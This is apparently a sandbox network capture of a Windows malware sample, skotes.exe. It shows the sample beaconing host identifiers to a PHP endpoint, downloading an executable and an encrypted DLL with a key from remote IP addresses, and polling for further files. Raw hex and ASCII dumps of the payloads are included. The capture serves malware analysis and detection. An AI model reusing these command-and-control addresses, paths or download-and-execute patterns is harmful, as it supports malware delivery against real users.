Nov 29, 2024 19:51:06.362749100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:06.362761974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:06.362911940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:06.362924099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:06.362937927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:06.362952948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:06.363109112 CET	1236	IN	Data Raw: f8 df 0b 5f 00 82 0c 18 99 b3 0a a0 89 5d e8 0d f5 36 02 fe 35 98 ee bd 44 ed d0 20 cf 38 61 2a 21 6b b7 79 ca 5a a2 3d f1 32 c8 07 9a 94 7c 1d 66 ec 2c 0e 22 e9 0f c2 97 9a 09 c4 67 e4 53 2b 5a e1 1c 5e 00 e6 18 66 34 bd 2b c8 85 c3 09 af 52 0a Data Ascii: _]65D 8a*!kyZ=2\|f,"gS+Z^f4+RE0\|Y,y$1]!z/\LF)%4~J78FZ&0 fe+[Ywd2Nw/z8\0"dY[)#f"lD9jY9m#C6,FK&
Nov 29, 2024 19:51:06.363137007 CET	1236	IN	Data Raw: e4 de 32 68 bc de 26 fc f4 13 ab 07 7f cb 30 91 56 d3 1c 04 08 98 ce 00 46 66 c7 57 5c ab 16 5f 56 d3 d6 fd f7 8b da 5c ed d8 98 df 5c de f2 5d 56 7f 32 50 08 a7 02 0a 2a 42 fd 43 54 cb 8e 28 06 ca b6 a3 7f 5f 20 d6 5c 6b 3f 5f 16 ba 96 af 0e 23 Data Ascii: 2h&0VFfW\_V\\]V2PBCT(_ \k?_#;(nGfOAwUt7fVZn[n6Yg _nv-V5`vQI'dA(HL&@_(m%[X_5k(H\vs`
Nov 29, 2024 19:51:06.363151073 CET	1236	IN	Data Raw: 1d c1 1b 59 02 a3 32 2d 29 86 62 5d 91 07 22 8b 8b d8 34 50 4c ee c6 b8 80 75 e1 40 2b 03 f8 b9 32 c6 e0 4e 8a 62 d5 1a e7 74 77 2c 76 b9 d7 e8 26 eb f6 6d 7c 88 a3 3b 66 db 90 3b 37 78 02 a5 0e ee fe 10 68 74 e6 56 8d 31 b7 5e 14 4e 3c ac d9 05 Data Ascii: Y2-)b]"4PLu@+2Nbtw,v&m\|;f;7xhtV1^N<}.$,B`mx UyJ(`&F^tm*6+X4`v]'6dd^H7-6+g#28mt4Y\|f(.U; s127 83Ud~0h.u
Nov 29, 2024 19:51:06.482990980 CET	1236	IN	Data Raw: 94 a6 6b b3 6e b7 11 24 6a 43 08 1b b3 d7 d4 fe 79 ee 20 9f 7a b7 f2 2f 87 d1 7e 37 7d e6 6d 0e 7a e7 e8 51 57 ba c4 ec 09 02 7e 48 1b 28 30 91 55 1d fb 5a 1d 89 2a 20 56 d9 24 6b 34 7a fe 51 84 7c ec 5c 2a 78 f3 d0 d6 be 0d ef c6 84 01 9d 36 03 Data Ascii: kn$jCy z/~7}mzQW~H(0UZ* V$k4zQ\|\x6-rF! 78rAt2EBXDtQPm7"E7AZ.l~`&+51`<6\|"'Q-.eihG9l6a+VT8ryz2=Y0oZ=7o#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50038	185.215.113.43	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:08.343692064 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 33 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010358001&unit=246122658369
Nov 29, 2024 19:51:09.775130033 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50048	31.41.244.11	80	3292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:09.915235043 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 29, 2024 19:51:11.288614988 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 29 Nov 2024 18:51:11 GMT Content-Type: application/octet-stream Content-Length: 4417024 Last-Modified: Fri, 29 Nov 2024 18:14:08 GMT Connection: keep-alive ETag: "674a0470-436600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 f4 47 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 04 48 00 00 1c 76 00 00 32 00 00 00 20 c6 00 00 10 00 00 00 20 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 50 c6 00 00 04 00 00 77 d5 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 80 73 00 73 00 00 00 00 70 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 01 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELPGg(Hv2 H@PwC@ _ssps` `sD(@.rsrcpsT(@.idata sV(@ 7sX(@mrmfzkic Z(@jnzqauit@C@.taggant0 "DC@
Nov 29, 2024 19:51:11.288630009 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:11.288705111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:11.288762093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:11.288774967 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 29, 2024 19:51:11.288945913 CET	672	IN	Data Raw: 41 4c c6 5d 2a 49 6b cf 65 2d 96 b6 d8 c7 fb 98 00 73 19 39 1e c7 d2 57 db 1d 58 8c b6 ce 15 7e cb 69 10 e9 83 d0 82 f7 db 58 96 70 ae c0 9d 0e 3c 96 dc 7f ab 44 9e e1 cf 3f e3 29 a7 fb d2 61 5f 78 2d 46 f1 c0 51 8e 56 a1 21 6e 14 af 71 e5 cd 98 Data Ascii: AL]*Ike-s9WX~iXp<D?)a_x-FQV!nq\|A~8o9>rqLwq5{U5'.&],'2I/sqnj0)%4"TQ9(]9[+9`(;cs=DbP;-(Q)2$bvl%)
Nov 29, 2024 19:51:11.288959026 CET	1236	IN	Data Raw: ed 71 64 11 a9 55 eb 3f 94 8f 89 2c 30 2d f6 72 38 65 7a 68 f6 1e 55 b3 84 17 92 7e 7e 15 ce 3d a2 b9 3b 56 5c d1 ec 67 5f 50 7e 2a aa 5f ab 9a ad 9d a0 e2 2e c0 c3 50 c0 fd 43 55 be ee da 85 fb 3f e6 b4 b4 19 90 54 00 e5 9e 8e 9f a9 34 a2 a0 20 Data Ascii: qdU?,0-r8ezhU~~=;V\g_P~*_.PCU?T4 'mRqI=?>@`QUsY'P\3Ulw2kDo[{P=wV%0]n5_51~NF@ID~MtCqHz/?n'O\zB 6Pa@=$0=J23
Nov 29, 2024 19:51:11.288969040 CET	1236	IN	Data Raw: bc 3f 1e 8a de 1c dd 6f 63 33 4a 87 94 ff 4d c6 fa 1a c4 25 5f 72 0a 62 a1 3f 0e 36 8d 6a 6b dc bc 19 1d 9a 5f e9 3b df c3 dd 11 3a cd c0 0c 7e 41 92 22 94 3b d8 ff 69 a5 af c1 5e 2a 30 cf f8 58 db 46 68 ba 18 11 65 04 22 cd 52 07 31 c6 b6 e3 ea Data Ascii: ?oc3JM%_rb?6jk_;:~A";i^*0XFhe"R1V%q@,%B'V#MquR\|1~[u-(,Z4+Q`d>$3Jw)+,%2]2~o\\|Zd}i1Z}Y!Mc6kzP^5&jaj\|nC%3px&
Nov 29, 2024 19:51:11.288980961 CET	1236	IN	Data Raw: 34 44 fb d1 b5 d6 b5 f4 b7 6c 49 13 d7 2f 16 cc 77 dd 52 b1 92 bb 1c 2d ec 9e 6e bf 23 ba 6a d1 dc 5d 17 45 11 6b ab 22 55 80 b5 9e 82 66 1d e2 2f 65 1e 26 e8 f0 26 00 a1 b2 bb 74 df 3f 6e 08 9f 74 62 f9 cc 19 5d de 16 2c 83 1e f1 9d cf f2 df ac Data Ascii: 4DlI/wR-n#j]Ek"Uf/e&&t?ntb],=rkA\|~6Y}cl<?X=ZLdm>A%O%c-[)w7gexI%*Beb`_B@a>W<a"mn3emDm#.dnIpc-a
Nov 29, 2024 19:51:11.288991928 CET	1236	IN	Data Raw: bf 8c 5a d2 de b8 ae 61 c3 52 a8 ff 7b f2 34 4f 5e 88 92 de ab 11 6b 39 ed 66 19 28 ba 7f 46 fa 2e 26 81 e0 dd 44 5d 72 5d d8 a4 01 1e 5a 30 63 9c 9f 1c 6f 28 c6 ec 70 ca c0 bb 44 61 96 36 80 e6 59 db 3f 80 a7 06 c1 b6 23 92 de d8 9d f1 f4 f2 cd Data Ascii: ZaR{4O^k9f(F.&D]r]Z0co(pDa6Y?#VFa=h)p6R@%]kY]5}&oUu.qVp"y]c9:my\|o`.la?d4=_)FlSfcYf"aqs74=)in(w
Nov 29, 2024 19:51:11.408929110 CET	1236	IN	Data Raw: e3 03 0d c2 00 99 5a 92 60 96 c0 cc d6 76 1d ca e4 e5 d7 22 6b 6e 79 b0 1c f8 c3 90 f3 1d ab 4b ef fe c0 ac 66 0a 00 e2 e6 51 74 85 c6 1a 8f a0 be 08 8f be ab 8d b6 36 9a 45 00 2f d1 0e 83 af 8e 32 14 0e 85 1c 18 eb 8c e6 02 fa 73 8c af 99 fd 96 Data Ascii: Z`v"knyKfQt6E/2s5mx-.<.t0a+[} .?lRWP< TQ<2>HJ.A.+UuM#A^t"4f5>IE^25

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	50050	185.156.72.65	80

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:10.462707996 CET	416	OUT	GET /add?substr=mixtwo&s=three&sub=nosub HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:12.035190105 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:11 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 29, 2024 19:51:12.040741920 CET	388	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:12.598825932 CET	224	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Nov 29, 2024 19:51:12.601402044 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:13.330847979 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:12 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Nov 29, 2024 19:51:13.330868006 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Nov 29, 2024 19:51:13.330878973 CET	448	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Nov 29, 2024 19:51:13.331023932 CET	1236	IN	Data Raw: 94 56 6f 92 44 df 99 d0 e2 07 87 22 38 2a d1 8d 6b 3b c8 f7 e1 b5 00 e9 38 74 ca 24 b7 c2 3f 88 77 ac 79 7e 4b f0 5e 79 57 bd f5 65 c6 f8 b8 fd c0 5d 9c 70 37 a5 45 ab 76 ba a0 33 8b ee 99 a3 da 61 9a 35 1f f1 31 09 03 71 96 d5 28 76 57 11 9e 5e Data Ascii: VoD"8k;8t$?wy~K^yWe]p7Ev3a51q(vW^RK@$V+4trcwMMZoj^}xmgu0f'US]04<cMk2cD$g\|5r_gqKgLoZ
Nov 29, 2024 19:51:13.331036091 CET	1236	IN	Data Raw: 58 c0 cb 65 40 62 96 d2 c0 5a b0 40 d6 25 d6 ca ea 81 87 4f 4f 97 dc 41 ef 2a 66 64 06 53 6d 2a 3f d8 44 59 af 7a 70 c9 ee 8f c8 c1 db 27 48 69 d8 e7 8e c2 56 b7 01 bc 0b 63 45 c8 b6 b5 e2 1a ee a7 1a fe a7 05 65 86 dc c4 60 f9 00 38 79 10 46 0b Data Ascii: Xe@bZ@%OOAfdSm?DYzp'HiVcEe`8yF\|G(^80y-`p+x@Q.QjK=s3GVBfP:}^-RuJhJHz#<6S}Cc*>:cNZNG1M4
Nov 29, 2024 19:51:13.331048012 CET	1236	IN	Data Raw: 97 c8 49 60 d1 46 16 fc 9d 61 11 37 f4 93 5e ed 32 7a c7 3b 41 14 16 b7 4f 84 8d 39 ca 79 46 fc 2f a4 a6 82 f3 b6 68 61 61 41 32 66 02 00 57 51 d9 b9 0a 9a 35 e2 01 f6 64 48 f1 ee 15 5c 2f c3 ce e2 74 99 ad e8 49 c0 49 83 58 d9 d9 5f 15 11 8a 28 Data Ascii: I`Fa7^2z;AO9yF/haaA2fWQ5dH\/tIIX_( N%"PPLT(yFqG=)hZX.`2RsbifK!97e9f\|uUsetj9L~DY)5:w<}gBO$5)iI
Nov 29, 2024 19:51:13.331062078 CET	1236	IN	Data Raw: bd fe 32 26 39 43 46 ac 46 98 3a a9 90 2f db c5 e7 08 95 6c c4 71 43 67 26 21 a1 8e e2 57 01 bf 17 eb ec 95 38 79 19 72 66 f5 b3 f7 1b 75 10 9d 34 6d e2 d0 9a 09 6a 6b 6e fb a0 1b a0 0c 89 8d 39 0d 7b 82 10 1c fb a1 a0 b6 fb 0b bd 91 68 87 0f bc Data Ascii: 2&9CFF:/lqCg&!W8yrfu4mjkn9{h`e\lrp<wW+:s_m]sad8t43g\]Dh-@H<\|jSWU@E/]-L[uNIhq8~'??y9<N5)g.AK2T
Nov 29, 2024 19:51:13.331161022 CET	1236	IN	Data Raw: 9c 93 85 55 4b b0 90 0f 56 82 0c 86 f6 cc 27 8b b1 b8 1f 77 0d b6 88 24 2a 38 27 bc 8c 03 45 5b 5b 2b 90 a7 9b 51 a3 04 60 88 c5 2c 4a 7a 88 0a 01 7d 0c 2e 87 47 cf 80 8f 5e 70 62 4c d5 ad ce bf 64 f2 8f 59 f3 8f 0c c9 92 4f 19 2f 5b b6 f8 01 87 Data Ascii: UKV'w$8'E[[+Q`,Jz}.G^pbLdYO/[)o319Xz&k(pB~IjB1aNG^L/QAD!B5F$%RkQzo):z4fJnpb7[w\n@hm,tsY!FZb[.LJT/
Nov 29, 2024 19:51:13.331172943 CET	1236	IN	Data Raw: 92 77 46 c5 a7 fd 0a 9c 05 19 d8 07 e6 4e b6 52 f6 4f b7 e8 ab ac 30 f3 96 21 2d c8 20 bf 88 b6 9e a4 76 30 56 bc a4 59 bd ec 71 d2 3d ed d8 5f 82 8c b2 16 8f 65 8e 70 b5 77 5e 52 a6 89 7a 08 f3 c9 84 ea 32 44 a6 8a 12 81 c2 79 91 50 d2 42 01 86 Data Ascii: wFNRO0!- v0VYq=_epw^Rz2DyPBh0;ZP!WD.&\"'A2tCarnt9zq]&gmk0~q\mk0G@D)ewX5'%?/-Rcsi?G(F;7@J2v_9`P,uA
Nov 29, 2024 19:51:13.339210987 CET	1236	IN	Data Raw: 63 70 2d 5e 06 f9 a0 88 b2 fe 94 69 78 3a 4d 9f ad 12 4c f0 0a b3 a2 cb 51 00 a5 7b 91 82 2b bb fa aa 10 54 85 b0 7c f4 3c 4b 81 dd ca da d8 19 bf dc 6e eb 76 44 8c 05 1f 15 0d a7 42 02 a3 d9 fa bd 7f 9d a5 c8 1a 0f a8 ed c9 af 96 dc b8 58 66 95 Data Ascii: cp-^ix:MLQ{+T\|<KnvDBXfbyQ#^XJx^0V\|eQSSO^_]/qA]E<P/(#o(MDvo.QcR*S8k][[{:?uH+go6S%m:
Nov 29, 2024 19:51:13.339294910 CET	1236	IN	Data Raw: d4 4c f7 39 c8 e2 8c 1a 47 22 ce 38 a8 0f 36 ba 34 d8 29 d1 07 03 f8 62 9b f4 dc 09 93 7c a9 be 5b 41 f1 b1 38 bc e4 80 f5 2a 12 1e 39 e6 d0 ae 98 c1 0b 4b e0 90 07 04 7c d4 0b 2b 53 92 54 65 fd f5 63 a1 24 fa 52 82 fe 3a 65 6f b5 81 39 e1 46 11 Data Ascii: L9G"864)b\|[A8*9K\|+STec$R:eo9FloSxG~rMH'+},C{k)n8l5/wd<JjxYil$X#9}LcWFmf\4{iEd"Fl@=l5scroIjy
Nov 29, 2024 19:51:13.972259045 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:14.554028034 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 29, 2024 19:51:16.584258080 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:17.154814959 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 29, 2024 19:51:19.343641996 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:19.923140049 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 29, 2024 19:51:22.042224884 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:22.623226881 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 29, 2024 19:51:24.636775017 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
